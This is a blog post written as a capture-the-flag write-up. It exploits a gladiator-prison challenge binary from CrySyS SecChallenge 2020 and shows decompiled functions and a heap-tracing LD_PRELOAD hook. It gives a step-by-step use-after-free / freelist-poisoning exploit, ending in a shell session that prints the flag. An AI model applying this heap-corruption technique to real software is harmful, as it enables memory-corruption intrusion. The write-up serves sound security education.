Reverse engineering, Windows internals, x86 magic, low level programming, and everything else I feel like writing about.

CrySyS SecChallenge 2020: Freeing Maximus Decimus Meridius again

Published on 02 Mar 2020

Dear Emperor! We’ve heared that you would like to set your ruthless imprisoned gladiators free for no reason at all. Sadly, as soon as he heared, Bob, the imprisoner hid one of your majesty’s pardons… He was too fast, we could’t catch him. But I tried… I really did… Please don’t kill me!! You may still try to free them, after all you are the all-knowing, I-can-do-anything-because-Im-the-Emperor Emperor. Auch… I’m Sorry… I’M SORRY!

Categories

Offensive, Exploitation, X86_64

Files

Solution

As a first step I named variables, created structures and members, generic reverse-engineering based on the prints.

Structures:

00000000 Gladiator       struc ; (sizeof=0x60, mappedto_15)
00000000                                         ; XREF: printGladiators+F6/o
00000000                                         ; printGladiators:loc_14F8/o ...
00000000 szName          db 39 dup(?)            ; XREF: printGladiators+125/o
00000000                                         ; printGladiators+154/o ...
00000027 _pad1           db ?
00000028 pId             dq ?                    ; XREF: printGladiators:loc_13B0/r
00000028                                         ; printGladiators:loc_13DF/r ... ; offset
00000030 bIsInPrison     dd ?                    ; XREF: printGladiators+10/r
00000030                                         ; printGladiators+1E/r ...
00000034 szImprisonmentMessage db 39 dup(?)      ; XREF: banishMaximusDecimusMeridius+11/o
00000034                                         ; init+7A/w ...
0000005B _pad2           db 5 dup(?)
00000060 Gladiator       ends

Globals:

.bss:00000000000040A0 ; Gladiator info[5]
.bss:00000000000040A0 info            Gladiator 5 dup(<?>)    ; DATA XREF: printGladiators+C7↑o
.bss:00000000000040A0                                         ; printGladiators:loc_1518↑o ...
.bss:0000000000004280 ; unsigned int g_dwPardonsLeft
.bss:0000000000004280 g_dwPardonsLeft dd ?                    ; DATA XREF: pardon+5↑r
.bss:0000000000004280                                         ; pardon+6A↑w ...
.bss:0000000000004284 g_bIsMaximusBanished dd ?               ; DATA XREF: banishMaximusDecimusMeridius↑r
.bss:0000000000004284                                         ; banishMaximusDecimusMeridius+18↑w

Relevant functions:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // [rsp+4h] [rbp-24h]
  unsigned __int64 v4; // [rsp+8h] [rbp-20h]

  v4 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  init();
  printWelcome();
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        puts("Alright emperor, you may:");
        puts("1) pardon a prisoner");
        puts("2) imprison a gladiator");
        puts("3) list gladiators");
        puts("Your choice:");
        if ( (unsigned int)__isoc99_scanf("%u", &v3) != 1 )
        {
          puts("error: invalid input (unsigned int)");
          exit(1);
        }
        if ( v3 != 3 )
          break;
        printGladiators();
      }
      if ( v3 > 3 )
        break;
      if ( v3 == 1 )
      {
        pardon();
      }
      else
      {
        if ( v3 != 2 )
          goto LABEL_11;
        imprison();
      }
    }
    if ( v3 != 1337 )
LABEL_11:
      exit(0);
    banishMaximusDecimusMeridius();
  }
}

unsigned __int64 pardon()
{
  __int64 v0; // rax
  Gladiator *v1; // rbx
  int v3; // [rsp+4h] [rbp-14h]
  unsigned __int64 v4; // [rsp+8h] [rbp-10h]

  v4 = __readfsqword(0x28u);
  if ( g_dwPardonsLeft )
  {
    puts("Prisoner id:");
    if ( (unsigned int)__isoc99_scanf("%u", &v3) != 1 )
    {
      puts("error: invalid input (unsigned int)");
      exit(1);
    }
    v0 = (unsigned int)(v3 - 1);
    if ( (unsigned int)v0 > 4 )
    {
      puts("There is no such prison cell!");
      return __readfsqword(0x28u) ^ v4;
    }
    --g_dwPardonsLeft;
    printf("- Changed my mind, you are free to go Mr. %s\n", &info[v0]);
    v1 = &info[v3 - 1];
    v1->bIsInPrison = 0;
    free(v1->pId);
  }
  else
  {
    puts("Sorry Emperor, you are out of pardons. Please come back later!");
  }
  printf("You have %u pardons left.\n", g_dwPardonsLeft);
  if ( !info[0].bIsInPrison
    && !info[1].bIsInPrison
    && !info[2].bIsInPrison
    && !info[3].bIsInPrison
    && !info[4].bIsInPrison )
  {
    puts("Well done, you managed to free every bloodthirsty, cold-blooded murderer!");
    system("/bin/sh");
    exit(0);
  }
  return __readfsqword(0x28u) ^ v4;
}

unsigned __int64 imprison()
{
  unsigned int v0; // ebx
  __int64 v1; // rax
  Gladiator *v2; // rbp
  _QWORD *v3; // rax
  unsigned int v5; // [rsp+4h] [rbp-24h]
  unsigned __int64 v6; // [rsp+8h] [rbp-20h]

  v6 = __readfsqword(0x28u);
  puts("Prisoner id:");
  if ( (unsigned int)__isoc99_scanf("%u", &v5) != 1 )
  {
    puts("error: invalid input (unsigned int)");
    exit(1);
  }
  v0 = v5;
  v1 = v5 - 1;
  if ( (unsigned int)v1 > 4 )
  {
    puts("There is no such prison cell!");
  }
  else
  {
    v2 = &info[v1];
    v2->bIsInPrison = 1;
    v3 = malloc(8uLL);
    v2->pId = v3;
    *v3 = v0;
    printf("- I hereby imprison you, %s\n", v2);
    printf("- %s\n", info[v5 - 1].szImprisonmentMessage);
  }
  return __readfsqword(0x28u) ^ v6;
}

int banishMaximusDecimusMeridius()
{
  if ( g_bIsMaximusBanished )
    return puts("I know you hate him, but still, he can only be banished once.");
  g_bIsMaximusBanished = 1;
  *info[4].pId = (char *)&info[4] + 0x50;
  return puts("Alright, Maximus Decimus Meridius, I, the Emperor hereby banish you!");
}

Here we can already notice some interesting things:

  • Managing to pardon everyone will get us a shell
  • Neither allocating or freeing is properly checked, you can leak memory or double-free anything
  • Selecting option 1337 in menu calls banishMaximusDecimusMeridius(), which does some interesting copying

Looking at the glibc malloc code, you could probably figure out after some time how small allocations work, however I was quite unsure in how it works in practice, and only saw that it uses the two words before the pointer as some sort of bookkepping, and the “contents” after freeing. To get a better understanding of how this works, I wrote a tiny hook to print small mallocs and frees:

#define _GNU_SOURCE
#include <stdio.h>
#include <stdint.h>
#include <dlfcn.h>
#include <malloc.h>
#include <string.h>

void* malloc(size_t size)
{
    static void* (*my_malloc)(size_t) = NULL;
    if (!my_malloc)
        my_malloc = dlsym(RTLD_NEXT, "malloc");
    void *p = my_malloc(size);
    if(size != 8)
        return p;
    char msg[128];
    sprintf(msg, "malloc(%lu) = %p\n", size, p);
    puts(msg);
    return p;
}

void free(void* p)
{
    static void (*my_free)(void*) = NULL;
    if (!my_free)
    my_free = dlsym(RTLD_NEXT, "free");
    if(malloc_usable_size(p) > 32)
    {
        my_free(p);
        return;
    }

    void* old[3];
    memcpy(old, &((void**)p)[-2], sizeof old);
    my_free(p);

    char msg[128];
    sprintf(
        msg,
        "free(%p) = %p %p %p -> %p %p %p\n",
        p,
        old[0],
        old[1],
        old[2],
        ((void**)p)[-2],
        ((void**)p)[-1],
        ((void**)p)[0]
    );
    puts(msg);
}

(I used sprintf and puts instead of printf to avoid calling malloc / free as that would be an infinite recursion)

Okay, let’s run our target binary and see how it works:

user@ubuntu:~$ gcc -shared -Wl,--no-as-needed -ldl -fPIC hook.c -o hook.so
user@ubuntu:~$ LD_PRELOAD=/home/user/hook.so ./start.sh
malloc(8) = 0x556907c632f0

malloc(8) = 0x556907c63310

malloc(8) = 0x556907c63330

malloc(8) = 0x556907c63350

malloc(8) = 0x556907c63370

Dear GOD!! Mr. Emperor, what an honor! Welcome to the imperial prison!

We currently have 5 bloodthirty prisoners:

########### PRISON ###########
1 - Spartacus
2 - Crixus
3 - Flamma
4 - Carpophorus
5 - Maximus Decimus Meridius
---------- SUNSHINE ----------
##############################

Your job is to free them all!
Unfortunatelly we only have 4 pardons left :( ...
So saaaad. Yet, you may give it a try. GOOD LUCK!

Alright emperor, you may:
1) pardon a prisoner
2) imprison a gladiator
3) list gladiators
Your choice:
1
Prisoner id:
4
- Changed my mind, you are free to go Mr. Carpophorus
free(0x556907c63350) = (nil) 0x21 0x4 -> (nil) 0x21 (nil)

You have 3 pardons left.
Alright emperor, you may:
1) pardon a prisoner
2) imprison a gladiator
3) list gladiators
Your choice:
1
Prisoner id:
5
- Changed my mind, you are free to go Mr. Maximus Decimus Meridius
free(0x556907c63370) = (nil) 0x21 0x5 -> (nil) 0x21 0x556907c63340!
Alright emperor, you may:
1) pardon a prisoner
2) imprison a gladiator
3) list gladiators
Your choice:
2
Prisoner id:
4
malloc(8) = 0x556907c63370

- I hereby imprison you, Carpophorus
- Die With Honor!
Alright emperor, you may:
1) pardon a prisoner
2) imprison a gladiator
3) list gladiators
Your choice:
2
Prisoner id:
4
malloc(8) = 0x556907c63350

- I hereby imprison you, Carpophorus
- Die With Honor!

It looks like on freeing a pointer, the previous free‘d chunk’s address gets written into content, and mallocing later supposedly reads this list back. It’s trivial to see that if we could trigger a write post-free we could control where the next “allocation” will be. Imprisoning someone writes their ID into the allocated 8 bytes, so we can overwrite those with a number between 1-5. So far so good. Now let’s get back on what the banishing thing does, specifically this line:

  *info[4].pId = (char *)&info[4] + 0x50;

So we could make an allocation point at (char*)&info[4] + 0x50 + 0x10 (the 0x10 here standing for the bookkeeping two words). What is there?

.bss:0000000000004280 g_dwPardonsLeft dd ?                    ; DATA XREF: pardon+5↑r
.bss:0000000000004280                                         ; pardon+6A↑w ...
.bss:0000000000004284 g_bIsMaximusBanished dd ?               ; DATA XREF: banishMaximusDecimusMeridius↑r
.bss:0000000000004284                                         ; banishMaximusDecimusMeridius+18↑w

Oh, great. We can write 1-5 into g_dwPardonsLeft left. We will also zero g_bIsMaximusBanished. The route we decide to take is the following:

  1. Free someone 1-4
  2. Free Maximus (5), *info[4].pID will point at the chunk of previous free
  3. Banish Maximus, overwriting the previous pointer with &g_dwPardonsLeft - 0x10
  4. Imprison someone 1-4, making the next allocation’s target &g_dwPardonsLeft
  5. Imprison Maximus again, overwriting g_dwPardonsLeft with 5 and g_bIsMaximusBanished with 0.
  6. (Optionally here you can banish Maximus again, getting 1170248304 pardons, instead of only 5)
  7. Free 1, 2, 3
  8. Imprison 4, 5 to fix their pointers
  9. Free 4, 5
  10. You’re dropped into a shell.

Result:

user@ubuntu:~$ nc 1.2.3.4 12345
Dear GOD!! Mr. Emperor, what an honor! Welcome to the imperial prison!

We currently have 5 bloodthirty prisoners:

########### PRISON ###########
1 - Spartacus
2 - Crixus
3 - Flamma
4 - Carpophorus
5 - Maximus Decimus Meridius
---------- SUNSHINE ----------
##############################

Your job is to free them all!
Unfortunatelly we only have 4 pardons left :( ...
So saaaad. Yet, you may give it a try. GOOD LUCK!

Alright emperor, you may:
1) pardon a prisoner
2) imprison a gladiator
3) list gladiators
Your choice:
1 4
Prisoner id:
- Changed my mind, you are free to go Mr. Carpophorus
You have 3 pardons left.
Alright emperor, you may:
1) pardon a prisoner
2) imprison a gladiator
3) list gladiators
Your choice:
1 5
Prisoner id:
- Changed my mind, you are free to go Mr. Maximus Decimus Meridius
You have 2 pardons left.
Alright emperor, you may:
1) pardon a prisoner
2) imprison a gladiator
3) list gladiators
Your choice:
1337
Alright, Maximus Decimus Meridius, I, the Emperor hereby banish you!
Alright emperor, you may:
1) pardon a prisoner
2) imprison a gladiator
3) list gladiators
Your choice:
2 4
Prisoner id:
- I hereby imprison you, Carpophorus
- Die With Honor!
Alright emperor, you may:
1) pardon a prisoner
2) imprison a gladiator
3) list gladiators
Your choice:
2 5
Prisoner id:
- I hereby imprison you, Maximus Decimus Meridius
- My Name is Maximus Decimus Meridius!!
Alright emperor, you may:
1) pardon a prisoner
2) imprison a gladiator
3) list gladiators
Your choice:
1
Prisoner id:
1
- Changed my mind, you are free to go Mr. Spartacus
You have 4 pardons left.
Alright emperor, you may:
1) pardon a prisoner
2) imprison a gladiator
3) list gladiators
Your choice:
1 2
Prisoner id:
- Changed my mind, you are free to go Mr. Crixus
You have 3 pardons left.
Alright emperor, you may:
1) pardon a prisoner
2) imprison a gladiator
3) list gladiators
Your choice:
1 3
Prisoner id:
- Changed my mind, you are free to go Mr. Flamma
You have 2 pardons left.
Alright emperor, you may:
1) pardon a prisoner
2) imprison a gladiator
3) list gladiators
Your choice:
2 4
Prisoner id:
- I hereby imprison you, Carpophorus
- Die With Honor!
Alright emperor, you may:
1) pardon a prisoner
2) imprison a gladiator
3) list gladiators
Your choice:
1 4
Prisoner id:
- Changed my mind, you are free to go Mr. Carpophorus
You have 1 pardons left.
Alright emperor, you may:
1) pardon a prisoner
2) imprison a gladiator
3) list gladiators
Your choice:
2 5
Prisoner id:
- I hereby imprison you, Maximus Decimus Meridius
- My Name is Maximus Decimus Meridius!!
Alright emperor, you may:
1) pardon a prisoner
2) imprison a gladiator
3) list gladiators
Your choice:
1 5
Prisoner id:
- Changed my mind, you are free to go Mr. Maximus Decimus Meridius
You have 0 pardons left.
Well done, you managed to free every bloodthirsty, cold-blooded murderer!
ls
flag.txt
freeing_maximus_decimus_meridius_again
libs
start.sh
cat flag.txt
cd20{1ts_s1lly_t0_fr33_s0m30n3_wh0_1s_4lr34dy_fr33}

related posts